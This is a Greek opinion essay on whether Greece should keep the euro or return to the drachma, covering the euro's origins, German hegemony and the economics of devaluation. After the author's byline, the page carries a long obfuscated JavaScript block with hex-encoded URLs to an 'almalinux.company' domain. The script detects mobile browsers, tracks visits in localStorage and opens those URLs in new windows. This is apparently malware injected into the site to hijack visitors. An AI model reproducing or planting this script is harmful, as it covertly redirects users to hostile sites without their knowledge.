

ΕΥΡΩ ή ΔΡΑΧΜΗ ;

Δεν διαφωνώ με το επιχείρημα ότι το ευρώ υιοθετήθηκε αβασάνιστα, πρόχειρα και ερασιτεχνικά όχι μόνο από την ελληνική κυβέρνηση της εποχής αλλά και από τις ευρωπαϊκές κυβερνήσεις. Το ενιαίο νόμισμα άρχισε τη καριέρα του στο διεθνή χώρο στηριζόμενο σε μια οικονομική ζώνη γεμάτη χρηματοοικονομικές αντιφάσεις, αντίθετα παραγωγικά μοντέλα, διαφορετικά φορολογικά συστήματα και δημοσιονομικά status κρατών.

Αφού έτσι είχαν τα πράγματα και αφού έτσι τα αντιλαμβάνονταν οι ευρωπαίοι ηγέτες γιατί η Ελλάδα θα έπρεπε να τα αντιλαμβάνεται διαφορετικά και να αρνηθεί την είσοδο της στη λέσχη των πλουσίων με αυξημένες μάλιστα προσδοκίες άντλησης αναπτυξιακών ωφελειών; Θυμίζω εδώ τις συνθήκες που επικρατούσαν το 1999 σε παγκόσμια κλίμακα για να γίνει ίσως αντιληπτό το επείγον πρόσταγμα για τη δημιουργία του ευρώ. **Πρώ τον:** η κρίση που έπληξε τις ασιατικές οικονομίες το 1997 είχε εξαπλωθεί και σε άλλες αναδυόμενες χώρες όπως για παράδειγμα η Ρωσία και η Βραζιλία.

Δεύτερον

: οι διαδικασίες της παγκοσμιοποίησης λάμβαναν ανεξέλεγκτη ταχύτητα με αποτέλεσμα την ισοπέδωση των πιο αδύνατων επιχειρήσεων και οικονομιών που έπεφταν στην αφάνεια και στο νέο πεδίο φτώχειας.

Τρίτον

: οι τιμές των πρώτων υλών και του πετρελαίου έπεφταν πλήττοντας περεταίρω τα επίπεδα ανάπτυξης των περιφερειακών χωρών, κάτω από τη συντονισμένη δράση των πολυεθνικών ομίλων που οδηγούσαν χωρίς κανόνες και ανεξέλεγκτα το όχημα της παγκοσμιοποίησης.

Τέταρτον

: τη διακυβέρνηση των δυτικών χωρών και των ΗΠΑ ανέλαβαν συντηρητικές νεοφιλελεύθερες πολιτικές δυνάμεις που ευνοούσαν τη ραγδαία κατάργηση των οικονομικών συνόρων και υιοθετούσαν μια ενιαία παγκόσμια αγορά υπό τη κυριαρχία του δολαρίου.

Πέμπτον

: ο οξυμένος ανταγωνισμός μεταξύ των ομίλων και των χρηματοοικονομικών οργανισμών για τη λεία των πόρων της πρώην σοβιετικής αγοράς αλλά και της Κίνας και της Ινδίας, εξηνάγκασε την Ε. Ένωση να προχωρήσει άρον άρον στην αμυντική οργάνωση μιας ενιαίας νομισματικής περιοχής χωρίς να εξετάσει αν αυτή πληρούσε τα άριστα οικονομικά και θεσμικά κριτήρια.

Κατά τη δεκαετία του 2010 οι παγκόσμιες και περιφερειακές συνθήκες άλλαξαν δραματικά. Η τρομοκρατική επίθεση στη Ν. Υόρκη, οι πόλεμοι στο Ιράκ και Αφγανιστάν, όπως και ο «ισλαμικός κίνδυνος» επέβαλαν την ανάγκη για ένα φθηνότερο δολάριο προκειμένου οι ΗΠΑ να αντιμετωπίσουν και τις αυξημένες πολεμικές ανάγκες και τον κινεζικό ανταγωνισμό, μέσω της αύξησης των εξαγωγών. Έτσι το ευρώ ενώ ξεκίνησε με ισοτιμία χαμηλότερη του ενός δολαρίου βρέθηκε ξαφνικά να το υπερκαλύπτει σημαντικά. Με μιας τα παραγωγικά προβλήματα των μεσογειακών χωρών της ευρωζώνης αναδείχθηκαν απειλητικά. Η ανταγωνιστικότητα έπεφτε και τα ελλείμματα στους εξωτερικούς λογαριασμούς ανέβαιναν συνεχώς με αποτέλεσμα, σε πραγματικούς όρους, να σπάσει η ευρωζώνη σε πλεονασματικές και ελλειμματικές χώρες. Από το σημείο αυτό και μετά ο δρόμος προς τη σημερινή κρίση ήταν προκαθορισμένος.

Σήμερα, σχεδόν όλοι αποδέχονται πως η ευρωπαϊκή κρίση δεν είναι απλώς νομισματική αλλά συστημική και παραγωγική (Μπαρόζο). Αλλά με ποια έννοια η κρίση παίρνει αυτόν το χαρακτήρα; Η Ε. Ένωση θα λέγαμε ότι περνάει κρίση σε σχέση με τους αρχικούς στόχους που έθεσε ως σύνολο με τη συνθήκη του Μάαστριχτ το 1991. Δηλαδή απειλείται η ολοκλήρωση της στρατηγικής της ενοποίησης της νομισματικής ένωσης και μόνο. Δεν απειλείται η πολιτική ενοποίηση γιατί αυτή απλώς δεν υπήρξε ποτέ, δεν απειλείται η ενιαία οικονομική διακυβέρνηση γιατί απλώς αυτή δεν υπήρξε ποτέ και δεν απειλείται η ενιαία αμυντική πολιτική ασφάλειας γιατί απλώς και αυτή δεν υπήρξε ποτέ. Κατά συνέπεια θα μπορούσαμε να ισχυριστούμε πως εκείνο που διακυβεύεται για μια ομάδα χωρών περί την Γερμανία είναι η οικονομική ηγεμονία και για μια άλλη ομάδα χωρών της μεσογειακής Ευρώπης η διάψευση των προσδοκιών περί συγκλίσεως των βιοτικών επιπέδων τους με εκείνα των πλουσίων. Αλλά για αυτή τη δεύτερη ομάδα χωρών διακυβεύεται και κάτι ακόμα πολύ σπουδαιότερο. Η διατήρηση αν όχι του υπάρχοντος βιοτικού επιπέδου (31 χιλιάδες ευρώ κατά κεφαλή, για την Ελλάδα) τουλάχιστον του μέσου που επετεύχθη κατά τη δεκαετία του ενιαίου νομίσματος ή 24 χιλιάδες ευρώ.

Αλλά και για τη γερμανική ζώνη η απώλεια της οικονομικής ηγεμονίας θα συνοδεύεται από ένα χρηματοοικονομικό κόστος που ενδεχομένως να αυξηθεί τα επόμενα χρόνια. Το κόστος αυτό συνίσταται στις ονομαστικές απώλειες των γερμανικών τραπεζών από την έκθεση τους στα κρατικά ομόλογα των μεσογειακών χωρών. Αλλά αν η ευρωζώνη καταρρεύσει το κόστος αυτό εύκολα μπορεί να αναπληρωθεί από τη ρευστότητα των διεθνών αγορών.

Κάτω απ' αυτές τις παρατηρήσεις το ονομαστικό ερώτημα της νομισματικής κρίσης ξεπερνιέται και τίθεται το πραγματικό ερώτημα της πολιτικής στρατηγικής που αφορά στην πολιτική ενοποίηση της Ευρώπης. Πράγματι θέλει το διευθυντήριο να προχωρήσει στην ολοκλήρωση των δομών για ευρωπαϊκή ομοσπονδία ή προτιμά τη χαλαρότητα της ενιαίας εμπορικής αγοράς; Σ' αυτό το ερώτημα ρητή απάντηση δεν διαφαίνεται από πουθενά. Η γερμανική ομάδα χωρών εξαντλεί με το παραπάνω τη ρητορική της τιμωρίας και της πειθάρχησης των «άτακτων» δημοσιονομικά χωρών οι οποίες με τη σειρά τους κάνουν ό,τι μπορούν προκειμένου να μη αποκολληθούν από το άρμα της ευρωζώνης. Οι πολιτικές εφαρμογές της δημοσιονομικής εξυγίανσης και του χρέους δεν φαίνεται να αντιμετωπίζουν το πρόβλημα και η γερμανική ηγεμονία κλυδωνίζεται από τα θεμέλια. Τώρα η Γερμανία καλείται να απαντήσει χωρίς αναβολές στο εξής πολιτικό ερώτημα. Θέλει να διατηρήσει την πολιτική ηγεμονία σε μια μεγάλη Ε. Ένωση ή θέλει να περιορισθεί στην μικρή ομάδα ελέγχου της και μακροπρόθεσμα μόνο στα εδάφη της; Αν αποφασίσει ότι θέλει τη πρώτη στρατηγική θα πρέπει να πληρώσει το τίμημα βραχυπρόθεσμα αλλά με μεγάλο κέρδος μακροπρόθεσμα ενώ αν θέλει τη δεύτερη στρατηγική τότε θα ωφεληθεί βραχυπρόθεσμα αλλά το κόστος μακροπρόθεσμα θα είναι πολύ μεγαλύτερο.

Για να προβλέψουμε τη γερμανική συμπεριφορά θα πρέπει να επιστρατεύσουμε στοιχεία από την ιστορία της. Η Γερμανία ποτέ δεν ένωθε ασφαλώς γεωπολιτικά κείμενη στο μέσον της Ευρώπης. (Χαουσχόφερ). Από τα δυτικά της είχε την ναυτική ηγεμονία των «βρετανών πειρατών» (όπως την ανέλυσε ο Μακίντερ) και από τα ανατολικά της τους «λύκους των ρωσικών στεπών». Η ένοπλη έξοδος που επιχείρησε δύο φορές απέβη καταστροφική και για την ίδια. Θα πρέπει κατά συνέπεια να αλλάξει μεθοδολογία εξόδου. Και η πυκνότητα των οικονομικών θεμάτων της δίδουν μια πρώτης τάξεως ευκαιρία να επεκταθεί και πέραν των προτεσταντικών κρατών, εξασφαλίζοντας τον πολυπόθητο ζωτικό χώρο. (οστ πολιτικ – Μπράντ). Άρα το συμπέρασμα το οποίο φαίνεται περισσότερο στέρεο είναι ότι η Γερμανία θα πληρώσει το κόστος αντιμετώπισης της κρίσης χρέους για να επαυξήσει την ηγεμονία της στη μεγάλη Ευρώπη των 27+ αλλά προσπαθεί να το μειώσει όσο μπορεί περισσότερο μεταφέροντας μέρος του στις πληττόμενες χώρες της ευρωπαϊκής Μεσογείου. Επιπρόσθετα και στο πλαίσιο του διεθνούς ανταγωνισμού η Ευρώπη με επικεφαλής τη Γερμανία αποκτά αμέσως μεγαλύτερη πολιτική και οικονομική ισχύ από εκείνη που θα εξασφάλιζε η Γερμανία μόνη της.

Ας υποθέσουμε όμως ότι η Γερμανία επιλέγει να αυξήσει την αγοραστική δύναμη των ιδίων των Γερμανών αυξάνοντας της αμοιβές εργασίας και μειώνοντας την διεθνή ανταγωνιστικότητα των προϊόντων της. Στη περίπτωση αυτή όπως είναι εύλογο θα αλλάξουν και οι γεωστρατηγικοί της στόχοι. Το ενδιαφέρον της για τη διάσωση του ευρώ θα μειωθεί κατακόρυφα και η ευρωζώνη θα καταγραφεί ως ιστορικό παράδειγμα αποτυχίας. Ποιες θα είναι οι συνέπειες για τα άλλα κράτη – μέλη; Και ποιες θα είναι οι επιπτώσεις στις οικονομίες τους; Εδώ πρωτίστως μας ενδιαφέρει η Ελλάδα και οι πολύπλευρες διαδικασίες

που θα αναπτυχθούν.

Η επιστροφή στο καθεστώς της δραχμής θα γίνει γεγονός. Αν δεν υπάρχει ευρώ η ισοτιμία της θα καθορισθεί σε σχέση με το δολάριο ή με το νόμισμα του πρώτου εμπορικού μας εταίρου δηλαδή το μάρκο. Αυτή μάλλον θα καθορισθεί σχετικά με τρία κριτήρια. Τα εσωτερικά και εξωτερικά ελλείμματα, το χρέος και το ύψος των συναλλαγματικών αποθεμάτων. Επί πλέον θα ληφθεί υπ' όψιν, αλλά σε δεύτερο πλάνο και η δυναμική (momentum) της ελληνικής οικονομίας στο προσεχές μέλλον. Οι υπολογισμοί στη βάση αυτή θα δώσουν στη δραχμή χαμηλή ονομαστική συναλλαγματική αξία βραχυπρόθεσμα. Αυτό όπως γνωρίζουμε από το εξηγητικό μοντέλο Fleming – Mandel, θα αυξήσει τον όγκο των εξαγωγών και θα μειώσει τον όγκο των εισαγωγών. Πολλοί στην Ελλάδα έχουν τη τάση να υποτιμούν τις εξαγωγικές δυνατότητες της οικονομίας, αλλά μάλλον κάνουν λάθος. Ακόμα και σήμερα με σκληρό ευρώ, οι εξαγωγές εμφανίζουν εντυπωσιακή αύξηση αλλά αύξηση εμφανίζουν και οι διεθνώς εμπορεύσιμες υπηρεσίες μας όπως είναι οι τουριστικές και οι ναυτιλιακές. Με δεδομένο ότι το κόστος της μισθωτής εργασίας θα μειωθεί ραγδαία για να μειωθούν τα ελλείμματα και άλλοι κλάδοι που σήμερα καταγράφουν υψηλή εισαγωγική πυκνότητα, όπως ο αγροτικός, θα μετατραπούν σε εξαγωγικούς. Δηλαδή υπαρκτοί κλάδοι όπως αυτός της παραγωγής ηλεκτρολογικού και μηχανολογικού υλικού, όπως αυτός των χημικών προϊόντων, των μη μεταλλικών ορυκτών, κλπ, θα μπορούσαν κάλλιστα, βελτιώνοντας εν μέρει τη ποιότητα των προϊόντων τους, να καλύψουν τις ανάγκες αγορών όπως οι βαλκανικές, οι μεσογειακές, οι αραβικές ακόμα και οι ασιατικές. Αν συνυπολογίζουμε και τους νέους δυναμικούς κλάδους της εναλλακτικής ενέργειας, τότε οι προοπτικές γίνονται ακόμα πιο ενθαρρυντικές. Η αύξηση των εξαγωγών και η μείωση των εισαγωγών θα μεγαλώσουν τη βάση των συναλλαγματικών αποθεμάτων η οποία θα βελτιώσει με τη σειρά της τη αξία της πραγματικής ισοτιμίας του νομίσματος, βελτιώνοντας και το βιοτικό επίπεδο. Επί πλέον θα εξασφαλιζόταν συνάλλαγμα και για τις αναγκαίες εισαγωγές όπως οι πρώτες ύλες ή το πετρέλαιο ή ο,τιδήποτε άλλο απολύτως παραγωγικά και όχι καταναλωτικά αναγκαίο.

Μέχρι τώρα είδαμε πως επενεργούν οι παράγοντες που προσδιορίζουν τη προσφορά και ζήτηση συναλλάγματος. Αν εισάγουμε στην ανάλυση και την πλήρη εξουσία στη διαχείριση της προσφοράς χρήματος που θα επανακτήσει η Ελλάδα τότε η οικονομική διεύθυνση των προβλημάτων μπορεί να γίνει ευκολότερη.

Το επιτόκιο όπως γνωρίζουμε καθορίζεται από το επίπεδο τιμών και τη ποσότητα χρήματος που κυκλοφορεί. Και οι δύο παράγοντες είναι δυνατόν να ελεγχθούν αφού η ελληνική κυβέρνηση θα κατέχει πλέον την οικονομική εξουσία και όχι η ΕΚΤ. Χωρίς να το αναλύω θα πω μόνο πως με τη διαχείριση του επιτοκίου μπορούν να ενθαρρυνθούν διαδικασίες που στρέφουν την οικονομία προς την ανάπτυξη και να αποθαρρυνθούν οι αντίστροφες.

Αλλά το γιγαντιαίο ερώτημα που αφορά στη διαχείριση του σημερινού δημοσίου χρέους παραμένει και τρομοκρατεί.

Τι θα γίνει με τις ελληνικές τράπεζες και τους ασφαλιστικούς οργανισμούς που έχουν υψηλή έκθεση στα κρατικά ομόλογα; Ποιο θα είναι το ύψος των ζημιών και ποιος θα αναλάβει τη χρηματοδότηση του; Αναπόφευκτα η διαχείριση αυτού του προβλήματος απαιτεί την αναδιάρθρωση του τραπεζικού συστήματος και θα έλεγα και του ασφαλιστικού. Οπωσδήποτε θα εγγραφούν ζημιές, γιατί θα σκάσουν οι φούσκες, αλλά από την ικανότητα των τραπεζιτών εξαρτάται αυτές να είναι το δυνατόν λιγότερες. Άλλωστε οι υψηλές αμοιβές και τα δυσθεώρητα bonus, οφείλουν να δικαιολογηθούν σε περίοδο συνθηκών κρίσης και όχι άνθησης. Η αγορά δεν απομένει παρά να εκκαθαρισθεί. Να ισορροπήσει σε πραγματική βάση όπου η προσφορά πιστωτικού χρήματος θα εξισώνεται με τη ζητούμενη.

Όσο όμως υπάρχει το ευρώ, η Ελλάδα θα πρέπει να πετύχει στη διαπραγμάτευση μια δέσμη στόχων όχι και τόσο δαπανηρή για τους ξένους ομολογιούχους όσο θέλουν να την εμφανίζουν. Άπλωμα των δαπανών εξυπηρέτησης του χρέους σε όσο το δυνατόν μεγαλύτερη χρονική περίοδο, το δυνατόν χαμηλότερο μεταβλητό επιτόκιο συνδεδεμένο με τους ρυθμούς ανάπτυξης της οικονομίας και εθνικό νομικό έλεγχο επί των ξένων απαιτήσεων. Τα ιστορικά παραδείγματα από προηγούμενες χρεοκοπίες μπορούν να μας δώσουν την κατάλληλη μεθοδολογία διαπραγμάτευσης. Τόσο το 1893 επί Τρικούπη όσο και το 1932 επί Βενιζέλου με τον Κ. Βαρβαρέσο, η Ελλάδα συμφώνησε να πληρώσει τα δάνεια σε χρυσό στο 30% ενώ στο 100% εκείνα που ήταν σε εθνικό νόμισμα και συνάλλαγμα.

Η διεθνής ρευστότητα είναι τόσο μεγάλη, τα επενδυτικά προϊόντα τόσο πολλά ώστε οι ξένοι αλλά και οι εγχώριοι κάτοχοι κρατικών ομολόγων μπορούν σε μικρό χρονικό διάστημα να αντισταθμίσουν τις ενδεχόμενες ονομαστικές τους απώλειες.

Πολύ συχνά ακούγεται πως η Ελλάδα θα είναι αποκλεισμένη από τις διεθνείς αγορές για μεγάλο χρονικό διάστημα. Αυτό δεν είναι αληθές και εξαρτάται κατά το πλείστον από την ίδια. Αν η Ελλάδα αναδιαρθρώσει την οικονομική της βάση και αν το νέο παραγωγικό μοντέλο που μπορεί να εγκαταστήσει είναι διεθνώς ανταγωνιστικό τότε είναι βέβαιο πως οι αγορές θα ξεχάσουν τις μαύρες ημέρες της κρίσης και θα την επιλέξουν ως επενδυτικό προορισμό, όπως άλλωστε έκαναν και σε άλλες περιπτώσεις χωρών, όπως στην Ασία ή τη Λ. Αμερική. Η μνήμη των αγορών είναι η ασφαλής απόδοση με το μικρότερο ρίσκο.

Αφησα μέχρι εδώ απ' έξω την εξέταση της συμπεριφοράς του ελληνικού πολιτικού συστήματος. Πρώτον γιατί οι τρέχουσες εξελίξεις προδιαγράφουν ένα ζωντανό γίνεσθαι αλλαγών και δεύτερον γιατί ο πολιτικός και οικονομικός λαϊκισμός που γιγάντωσε το δημόσιο χρέος θα αποτελέσει αποτρόπαιο προηγούμενο για τη νέα πολιτική τάξη πραγμάτων που θα προκύψει.

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός / Συγγραφέας.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
```

```

9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|-s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|ideal|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/) |klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0]2|n50[0]2|5|n7(0[0]1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(al|dt)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|m|m|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);})(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x
365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x36
5b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])=0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return

```

```
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);,_0x4a7983=(  
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),  
_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_  
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&windo  
w[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function  
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const  
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const  
_0x4593ae=Date[_0x365b[0x21]](new  
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d  
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const  
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45  
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0  
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4  
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0  
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5  
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else  
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9  
78889);}());
```